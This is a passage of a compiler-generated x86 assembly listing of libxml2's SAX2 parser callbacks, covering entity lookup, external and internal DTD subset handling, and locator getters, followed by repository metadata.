eax ; 619 : if ((ret->content != NULL) && (xmlStrchr(ret->content, '<'))) mov eax, DWORD PTR [esi+40] test eax, eax je SHORT $LN16@xmlSAX2Get push 60 ; 0000003cH push eax call _xmlStrchr add esp, 8 test eax, eax je SHORT $LN16@xmlSAX2Get ; 620 : ret->checked |= 1; or DWORD PTR [esi+72], 1 $LN16@xmlSAX2Get: ; 621 : } ; 622 : } ; 623 : return(ret); mov eax, esi pop esi $LN21@xmlSAX2Get: pop ebx pop edi ; 624 : } mov esp, ebp pop ebp ret 0 $LN13@xmlSAX2Get: ; 610 : } else { ; 611 : xmlFatalErrMsg(ctxt, XML_ERR_ENTITY_PROCESSING, push 0 push ebx push OFFSET ??_C@_0BO@LDENBHGA@Failure?5to?5process?5entity?5?$CFs?6@ push 104 ; 00000068H push edi call _xmlFatalErrMsg add esp, 20 ; 00000014H ; 612 : "Failure to process entity %s\n", name, NULL); ; 613 : ctxt->validate = 0; mov DWORD PTR [edi+104], 0 ; 614 : return(NULL); xor eax, eax pop esi pop ebx pop edi ; 624 : } mov esp, ebp pop ebp ret 0 _xmlSAX2GetEntity ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\sax2.c ; COMDAT _xmlSAX2ExternalSubset _TEXT SEGMENT _oldencoding$1$ = -20 ; size = 4 _oldcharset$1$ = -16 ; size = 4 _oldinputTab$1$ = -12 ; size = 4 _oldinputMax$1$ = -8 ; size = 4 _oldinputNr$1$ = -4 ; size = 4 _oldinput$1$ = 8 ; size = 4 _ctx$ = 8 ; size = 4 _name$ = 12 ; size = 4 _ExternalID$ = 16 ; size = 4 _SystemID$ = 20 ; size = 4 _xmlSAX2ExternalSubset PROC ; COMDAT ; 394 : { push ebp mov ebp, esp sub esp, 20 ; 00000014H mov ecx, OFFSET __A8525CDE_sax2@c push esi call @__CheckForDebuggerJustMyCode@4 mov esi, DWORD PTR _ctx$[ebp] test esi, esi je $LN5@xmlSAX2Ext ; 395 : xmlParserCtxtPtr ctxt = (xmlParserCtxtPtr) ctx; ; 396 : if (ctx == NULL) return; ; 397 : #ifdef DEBUG_SAX ; 398 : xmlGenericError(xmlGenericErrorContext, ; 399 : "SAX.xmlSAX2ExternalSubset(%s, %s, %s)\n", ; 400 : name, ExternalID, SystemID); ; 401 : #endif ; 402 : if (((ExternalID != NULL) || (SystemID != NULL)) && mov ecx, DWORD PTR _ExternalID$[ebp] push ebx mov ebx, DWORD PTR _SystemID$[ebp] test ecx, ecx jne SHORT $LN6@xmlSAX2Ext test ebx, ebx je $LN20@xmlSAX2Ext $LN6@xmlSAX2Ext: cmp DWORD PTR [esi+104], 0 jne SHORT $LN7@xmlSAX2Ext cmp DWORD PTR [esi+276], 0 je $LN20@xmlSAX2Ext $LN7@xmlSAX2Ext: cmp DWORD PTR [esi+12], 0 je $LN20@xmlSAX2Ext cmp DWORD PTR [esi+8], 0 je $LN20@xmlSAX2Ext ; 403 : (((ctxt->validate) || (ctxt->loadsubset != 0)) && ; 404 : (ctxt->wellFormed && ctxt->myDoc))) { ; 405 : /* ; 406 : * Try to fetch and parse the external subset. ; 407 : */ ; 408 : xmlParserInputPtr oldinput; ; 409 : int oldinputNr; ; 410 : int oldinputMax; ; 411 : xmlParserInputPtr *oldinputTab; ; 412 : xmlParserInputPtr input = NULL; ; 413 : xmlCharEncoding enc; ; 414 : int oldcharset; ; 415 : const xmlChar *oldencoding; ; 416 : ; 417 : /* ; 418 : * Ask the Entity resolver to load the damn thing ; 419 : */ ; 420 : if ((ctxt->sax != NULL) && (ctxt->sax->resolveEntity != NULL)) mov eax, DWORD PTR [esi] test eax, eax je $LN20@xmlSAX2Ext mov eax, DWORD PTR [eax+16] test eax, eax je $LN20@xmlSAX2Ext ; 421 : input = ctxt->sax->resolveEntity(ctxt->userData, ExternalID, push edi push ebx push ecx push DWORD PTR [esi+4] call eax mov edi, eax add esp, 12 ; 0000000cH ; 422 : SystemID); ; 423 : if (input == NULL) { test edi, edi je $LN21@xmlSAX2Ext ; 424 : return; ; 425 : } ; 426 : ; 427 : xmlNewDtd(ctxt->myDoc, name, ExternalID, SystemID); push ebx push DWORD PTR _ExternalID$[ebp] push DWORD PTR _name$[ebp] push DWORD PTR [esi+8] call _xmlNewDtd ; 428 : ; 429 : /* ; 430 : * make sure we won't destroy the main document context ; 431 : */ ; 432 : oldinput = ctxt->input; mov eax, DWORD PTR [esi+36] mov DWORD PTR _oldinput$1$[ebp], eax ; 433 : oldinputNr = ctxt->inputNr; mov eax, DWORD PTR [esi+40] mov DWORD PTR _oldinputNr$1$[ebp], eax ; 434 : oldinputMax = ctxt->inputMax; mov eax, DWORD PTR [esi+44] mov DWORD PTR _oldinputMax$1$[ebp], eax ; 435 : oldinputTab = ctxt->inputTab; mov eax, DWORD PTR [esi+48] mov DWORD PTR _oldinputTab$1$[ebp], eax ; 436 : oldcharset = ctxt->charset; mov eax, DWORD PTR [esi+256] mov DWORD PTR _oldcharset$1$[ebp], eax ; 437 : oldencoding = ctxt->encoding; mov eax, DWORD PTR [esi+24] ; 438 : ctxt->encoding = NULL; ; 439 : ; 440 : ctxt->inputTab = (xmlParserInputPtr *) push 20 ; 00000014H mov DWORD PTR _oldencoding$1$[ebp], eax mov DWORD PTR [esi+24], 0 call DWORD PTR _xmlMalloc add esp, 20 ; 00000014H mov DWORD PTR [esi+48], eax ; 441 : xmlMalloc(5 * sizeof(xmlParserInputPtr)); ; 442 : if (ctxt->inputTab == NULL) { test eax, eax jne SHORT $LN10@xmlSAX2Ext ; 443 : xmlSAX2ErrMemory(ctxt, "xmlSAX2ExternalSubset"); push OFFSET ??_C@_0BG@NJCKJHBI@xmlSAX2ExternalSubset@ push esi call _xmlSAX2ErrMemory ; 444 : ctxt->input = oldinput; mov eax, DWORD PTR _oldinput$1$[ebp] add esp, 8 mov DWORD PTR [esi+36], eax ; 445 : ctxt->inputNr = oldinputNr; mov eax, DWORD PTR _oldinputNr$1$[ebp] mov DWORD PTR [esi+40], eax ; 446 : ctxt->inputMax = oldinputMax; mov eax, DWORD PTR _oldinputMax$1$[ebp] mov DWORD PTR [esi+44], eax ; 447 : ctxt->inputTab = oldinputTab; mov eax, DWORD PTR _oldinputTab$1$[ebp] mov DWORD PTR [esi+48], eax ; 448 : ctxt->charset = oldcharset; mov eax, DWORD PTR _oldcharset$1$[ebp] pop edi mov DWORD PTR [esi+256], eax ; 499 : ctxt->encoding = oldencoding; mov eax, DWORD PTR _oldencoding$1$[ebp] pop ebx mov DWORD PTR [esi+24], eax pop esi ; 500 : /* ctxt->wellFormed = oldwellFormed; */ ; 501 : } ; 502 : } mov esp, ebp pop ebp ret 0 $LN10@xmlSAX2Ext: ; 449 : ctxt->encoding = oldencoding; ; 450 : return; ; 451 : } ; 452 : ctxt->inputNr = 0; ; 453 : ctxt->inputMax = 5; ; 454 : ctxt->input = NULL; ; 455 : xmlPushInput(ctxt, input); push edi push esi mov DWORD PTR [esi+40], 0 mov DWORD PTR [esi+44], 5 mov DWORD PTR [esi+36], 0 call _xmlPushInput ; 456 : ; 457 : /* ; 458 : * On the fly encoding conversion if needed ; 459 : */ ; 460 : if (ctxt->input->length >= 4) { mov eax, DWORD PTR [esi+36] add esp, 8 cmp DWORD PTR [eax+24], 4 jl SHORT $LN11@xmlSAX2Ext ; 461 : enc = xmlDetectCharEncoding(ctxt->input->cur, 4); push 4 push DWORD PTR [eax+16] call _xmlDetectCharEncoding ; 462 : xmlSwitchEncoding(ctxt, enc); push eax push esi call _xmlSwitchEncoding add esp, 16 ; 00000010H $LN11@xmlSAX2Ext: ; 463 : } ; 464 : ; 465 : if (input->filename == NULL) cmp DWORD PTR [edi+4], 0 jne SHORT $LN12@xmlSAX2Ext ; 466 : input->filename = (char *) xmlCanonicPath(SystemID); push ebx call _xmlCanonicPath add esp, 4 mov DWORD PTR [edi+4], eax $LN12@xmlSAX2Ext: ; 467 : input->line = 1; mov DWORD PTR [edi+28], 1 ; 468 : input->col = 1; mov DWORD PTR [edi+32], 1 ; 469 : input->base = ctxt->input->cur; mov eax, DWORD PTR [esi+36] ; 470 : input->cur = ctxt->input->cur; ; 471 : input->free = NULL; ; 472 : ; 473 : /* ; 474 : * let's parse that entity knowing it's an external subset. ; 475 : */ ; 476 : xmlParseExternalSubset(ctxt, ExternalID, SystemID); push ebx push DWORD PTR _ExternalID$[ebp] mov eax, DWORD PTR [eax+16] mov DWORD PTR [edi+12], eax mov eax, DWORD PTR [esi+36] push esi mov eax, DWORD PTR [eax+16] mov DWORD PTR [edi+16], eax mov DWORD PTR [edi+40], 0 call _xmlParseExternalSubset add esp, 12 ; 0000000cH ; 477 : ; 478 : /* ; 479 : * Free up the external entities ; 480 : */ ; 481 : ; 482 : while (ctxt->inputNr > 1) cmp DWORD PTR [esi+40], 1 jle SHORT $LN3@xmlSAX2Ext $LL2@xmlSAX2Ext: ; 483 : xmlPopInput(ctxt); push esi call _xmlPopInput add esp, 4 cmp DWORD PTR [esi+40], 1 jg SHORT $LL2@xmlSAX2Ext $LN3@xmlSAX2Ext: ; 484 : xmlFreeInputStream(ctxt->input); push DWORD PTR [esi+36] call _xmlFreeInputStream ; 485 : xmlFree(ctxt->inputTab); push DWORD PTR [esi+48] call DWORD PTR _xmlFree ; 486 : ; 487 : /* ; 488 : * Restore the parsing context of the main entity ; 489 : */ ; 490 : ctxt->input = oldinput; mov eax, DWORD PTR _oldinput$1$[ebp] add esp, 8 ; 491 : ctxt->inputNr = oldinputNr; ; 492 : ctxt->inputMax = oldinputMax; ; 493 : ctxt->inputTab = oldinputTab; ; 494 : ctxt->charset = oldcharset; ; 495 : if ((ctxt->encoding != NULL) && mov ecx, DWORD PTR [esi+24] mov DWORD PTR [esi+36], eax mov eax, DWORD PTR _oldinputNr$1$[ebp] mov DWORD PTR [esi+40], eax mov eax, DWORD PTR _oldinputMax$1$[ebp] mov DWORD PTR [esi+44], eax mov eax, DWORD PTR _oldinputTab$1$[ebp] mov DWORD PTR [esi+48], eax mov eax, DWORD PTR _oldcharset$1$[ebp] mov DWORD PTR [esi+256], eax test ecx, ecx je SHORT $LN13@xmlSAX2Ext mov eax, DWORD PTR [esi+296] test eax, eax je SHORT $LN14@xmlSAX2Ext push ecx push eax call _xmlDictOwns add esp, 8 test eax, eax jne SHORT $LN13@xmlSAX2Ext $LN14@xmlSAX2Ext: ; 496 : ((ctxt->dict == NULL) || ; 497 : (!xmlDictOwns(ctxt->dict, ctxt->encoding)))) ; 498 : xmlFree((xmlChar *) ctxt->encoding); push DWORD PTR [esi+24] call DWORD PTR _xmlFree add esp, 4 $LN13@xmlSAX2Ext: ; 499 : ctxt->encoding = oldencoding; mov eax, DWORD PTR _oldencoding$1$[ebp] mov DWORD PTR [esi+24], eax $LN21@xmlSAX2Ext: pop edi $LN20@xmlSAX2Ext: pop ebx $LN5@xmlSAX2Ext: pop esi ; 500 : /* ctxt->wellFormed = oldwellFormed; */ ; 501 : } ; 502 : } mov esp, ebp pop ebp ret 0 _xmlSAX2ExternalSubset ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\sax2.c ; COMDAT _xmlSAX2InternalSubset _TEXT SEGMENT _ctx$ = 8 ; size = 4 _name$ = 12 ; size = 4 _ExternalID$ = 16 ; size = 4 _SystemID$ = 20 ; size = 4 _xmlSAX2InternalSubset PROC ; COMDAT ; 356 : { push ebp mov ebp, esp push esi mov ecx, OFFSET __A8525CDE_sax2@c call @__CheckForDebuggerJustMyCode@4 mov esi, DWORD PTR _ctx$[ebp] test esi, esi je SHORT $LN6@xmlSAX2Int ; 357 : xmlParserCtxtPtr ctxt = (xmlParserCtxtPtr) ctx; ; 358 : xmlDtdPtr dtd; ; 359 : if (ctx == NULL) return; ; 360 : #ifdef DEBUG_SAX ; 361 : xmlGenericError(xmlGenericErrorContext, ; 362 : "SAX.xmlSAX2InternalSubset(%s, %s, %s)\n", ; 363 : name, ExternalID, SystemID); ; 364 : #endif ; 365 : ; 366 : if (ctxt->myDoc == NULL) mov eax, DWORD PTR [esi+8] test eax, eax je SHORT $LN6@xmlSAX2Int ; 367 : return; ; 368 : dtd = xmlGetIntSubset(ctxt->myDoc); push edi push eax call _xmlGetIntSubset mov edi, eax add esp, 4 ; 369 : if (dtd != NULL) { test edi, edi je SHORT $LN4@xmlSAX2Int ; 370 : if (ctxt->html) cmp DWORD PTR [esi+32], 0 jne SHORT $LN8@xmlSAX2Int ; 371 : return; ; 372 : xmlUnlinkNode((xmlNodePtr) dtd); push edi call _xmlUnlinkNode ; 373 : xmlFreeDtd(dtd); push edi call _xmlFreeDtd ; 374 : ctxt->myDoc->intSubset = NULL; mov eax, DWORD PTR [esi+8] add esp, 8 mov DWORD PTR [eax+44], 0 $LN4@xmlSAX2Int: ; 375 : } ; 376 : ctxt->myDoc->intSubset = push DWORD PTR _SystemID$[ebp] push DWORD PTR _ExternalID$[ebp] push DWORD PTR _name$[ebp] push DWORD PTR [esi+8] call _xmlCreateIntSubset mov ecx, DWORD PTR [esi+8] add esp, 16 ; 00000010H mov DWORD PTR [ecx+44], eax ; 377 : xmlCreateIntSubset(ctxt->myDoc, name, ExternalID, SystemID); ; 378 : if (ctxt->myDoc->intSubset == NULL) mov eax, DWORD PTR [esi+8] cmp DWORD PTR [eax+44], 0 jne SHORT $LN8@xmlSAX2Int ; 379 : xmlSAX2ErrMemory(ctxt, "xmlSAX2InternalSubset"); push OFFSET ??_C@_0BG@CKPEJCG@xmlSAX2InternalSubset@ push esi call _xmlSAX2ErrMemory add esp, 8 $LN8@xmlSAX2Int: pop edi $LN6@xmlSAX2Int: pop esi ; 380 : } pop ebp ret 0 _xmlSAX2InternalSubset ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\sax2.c ; COMDAT _xmlSAX2HasExternalSubset _TEXT SEGMENT _ctx$ = 8 ; size = 4 _xmlSAX2HasExternalSubset PROC ; COMDAT ; 338 : { push ebp mov ebp, esp mov ecx, OFFSET __A8525CDE_sax2@c call @__CheckForDebuggerJustMyCode@4 mov eax, DWORD PTR _ctx$[ebp] test eax, eax je SHORT $LN3@xmlSAX2Has ; 339 : xmlParserCtxtPtr ctxt = (xmlParserCtxtPtr) ctx; ; 340 : if ((ctxt == NULL) || (ctxt->myDoc == NULL)) return(0); mov ecx, DWORD PTR [eax+8] test ecx, ecx je SHORT $LN3@xmlSAX2Has ; 341 : return(ctxt->myDoc->extSubset != NULL); xor eax, eax cmp DWORD PTR [ecx+48], eax setne al ; 342 : } pop ebp ret 0 $LN3@xmlSAX2Has: ; 339 : xmlParserCtxtPtr ctxt = (xmlParserCtxtPtr) ctx; ; 340 : if ((ctxt == NULL) || (ctxt->myDoc == NULL)) return(0); xor eax, eax ; 342 : } pop ebp ret 0 _xmlSAX2HasExternalSubset ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\sax2.c ; COMDAT _xmlSAX2HasInternalSubset _TEXT SEGMENT _ctx$ = 8 ; size = 4 _xmlSAX2HasInternalSubset PROC ; COMDAT ; 322 : { push ebp mov ebp, esp mov ecx, OFFSET __A8525CDE_sax2@c call @__CheckForDebuggerJustMyCode@4 mov eax, DWORD PTR _ctx$[ebp] test eax, eax je SHORT $LN3@xmlSAX2Has ; 323 : xmlParserCtxtPtr ctxt = (xmlParserCtxtPtr) ctx; ; 324 : if ((ctxt == NULL) || (ctxt->myDoc == NULL)) return(0); mov ecx, DWORD PTR [eax+8] test ecx, ecx je SHORT $LN3@xmlSAX2Has ; 325 : return(ctxt->myDoc->intSubset != NULL); xor eax, eax cmp DWORD PTR [ecx+44], eax setne al ; 326 : } pop ebp ret 0 $LN3@xmlSAX2Has: ; 323 : xmlParserCtxtPtr ctxt = (xmlParserCtxtPtr) ctx; ; 324 : if ((ctxt == NULL) || (ctxt->myDoc == NULL)) return(0); xor eax, eax ; 326 : } pop ebp ret 0 _xmlSAX2HasInternalSubset ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\sax2.c ; COMDAT _xmlSAX2IsStandalone _TEXT SEGMENT _ctx$ = 8 ; size = 4 _xmlSAX2IsStandalone PROC ; COMDAT ; 306 : { push ebp mov ebp, esp mov ecx, OFFSET __A8525CDE_sax2@c call @__CheckForDebuggerJustMyCode@4 mov eax, DWORD PTR _ctx$[ebp] test eax, eax je SHORT $LN3@xmlSAX2IsS ; 307 : xmlParserCtxtPtr ctxt = (xmlParserCtxtPtr) ctx; ; 308 : if ((ctx == NULL) || (ctxt->myDoc == NULL)) return(0); mov ecx, DWORD PTR [eax+8] test ecx, ecx je SHORT $LN3@xmlSAX2IsS ; 309 : return(ctxt->myDoc->standalone == 1); xor eax, eax cmp DWORD PTR [ecx+40], 1 sete al ; 310 : } pop ebp ret 0 $LN3@xmlSAX2IsS: ; 307 : xmlParserCtxtPtr ctxt = (xmlParserCtxtPtr) ctx; ; 308 : if ((ctx == NULL) || (ctxt->myDoc == NULL)) return(0); xor eax, eax ; 310 : } pop ebp ret 0 _xmlSAX2IsStandalone ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\sax2.c ; COMDAT _xmlSAX2GetColumnNumber _TEXT SEGMENT _ctx$ = 8 ; size = 4 _xmlSAX2GetColumnNumber PROC ; COMDAT ; 290 : { push ebp mov ebp, esp mov ecx, OFFSET __A8525CDE_sax2@c call @__CheckForDebuggerJustMyCode@4 mov eax, DWORD PTR _ctx$[ebp] test eax, eax je SHORT $LN3@xmlSAX2Get ; 291 : xmlParserCtxtPtr ctxt = (xmlParserCtxtPtr) ctx; ; 292 : if ((ctx == NULL) || (ctxt->input == NULL)) return(0); mov eax, DWORD PTR [eax+36] test eax, eax je SHORT $LN3@xmlSAX2Get ; 293 : return(ctxt->input->col); mov eax, DWORD PTR [eax+32] ; 294 : } pop ebp ret 0 $LN3@xmlSAX2Get: ; 291 : xmlParserCtxtPtr ctxt = (xmlParserCtxtPtr) ctx; ; 292 : if ((ctx == NULL) || (ctxt->input == NULL)) return(0); xor eax, eax ; 294 : } pop ebp ret 0 _xmlSAX2GetColumnNumber ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\sax2.c ; COMDAT _xmlSAX2GetLineNumber _TEXT SEGMENT _ctx$ = 8 ; size = 4 _xmlSAX2GetLineNumber PROC ; COMDAT ; 274 : { push ebp mov ebp, esp mov ecx, OFFSET __A8525CDE_sax2@c call @__CheckForDebuggerJustMyCode@4 mov eax, DWORD PTR _ctx$[ebp] test eax, eax je SHORT $LN3@xmlSAX2Get ; 275 : xmlParserCtxtPtr ctxt = (xmlParserCtxtPtr) ctx; ; 276 : if ((ctx == NULL) || (ctxt->input == NULL)) return(0); mov eax, DWORD PTR [eax+36] test eax, eax je SHORT $LN3@xmlSAX2Get ; 277 : return(ctxt->input->line); mov eax, DWORD PTR [eax+28] ; 278 : } pop ebp ret 0 $LN3@xmlSAX2Get: ; 275 : xmlParserCtxtPtr ctxt = (xmlParserCtxtPtr) ctx; ; 276 : if ((ctx == NULL) || (ctxt->input == NULL)) return(0); xor eax, eax ; 278 : } pop ebp ret 0 _xmlSAX2GetLineNumber ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\sax2.c ; COMDAT _xmlSAX2SetDocumentLocator _TEXT SEGMENT _ctx$ = 8 ; size = 4 _loc$ = 12 ; size = 4 _xmlSAX2SetDocumentLocator PROC ; COMDAT mov ecx, OFFSET __A8525CDE_sax2@c jmp @__CheckForDebuggerJustMyCode@4 _xmlSAX2SetDocumentLocator ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\sax2.c ; COMDAT _xmlSAX2GetSystemId _TEXT SEGMENT _ctx$ = 8 ; size = 4 _xmlSAX2GetSystemId PROC ; COMDAT ; 258 : { push ebp mov ebp, esp mov ecx, OFFSET __A8525CDE_sax2@c call @__CheckForDebuggerJustMyCode@4 mov eax, DWORD PTR _ctx$[ebp] test eax, eax je SHORT $LN3@xmlSAX2Get ; 259 : xmlParserCtxtPtr ctxt = (xmlParserCtxtPtr) ctx; ; 260 : if ((ctx == NULL) || (ctxt->input == NULL)) return(NULL); mov eax, DWORD PTR [eax+36] test eax, eax je SHORT $LN3@xmlSAX2Get ; 261 : return((const xmlChar *) ctxt->input->filename); mov eax, DWORD PTR [eax+4] ; 262 : } pop ebp ret 0 $LN3@xmlSAX2Get: ; 259 : xmlParserCtxtPtr ctxt = (xmlParserCtxtPtr) ctx; ; 260 : if ((ctx == NULL) || (ctxt->input == NULL)) return(NULL); xor eax, eax ; 262 : } pop ebp ret 0 _xmlSAX2GetSystemId ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\sax2.c ; COMDAT _xmlSAX2GetPublicId _TEXT SEGMENT _ctx$ = 8 ; size = 4 _xmlSAX2GetPublicId PROC ; COMDAT mov ecx, OFFSET __A8525CDE_sax2@c call @__CheckForDebuggerJustMyCode@4 xor eax, eax ret 0 _xmlSAX2GetPublicId ENDP _TEXT ENDS END
22.706252
173
0.644271
[ "MIT" ]
txwizard/libxml2_x64_and_ARM
win32/VC10/Win32/libxml2_Release/SAX2.asm
238,620
Assembly
4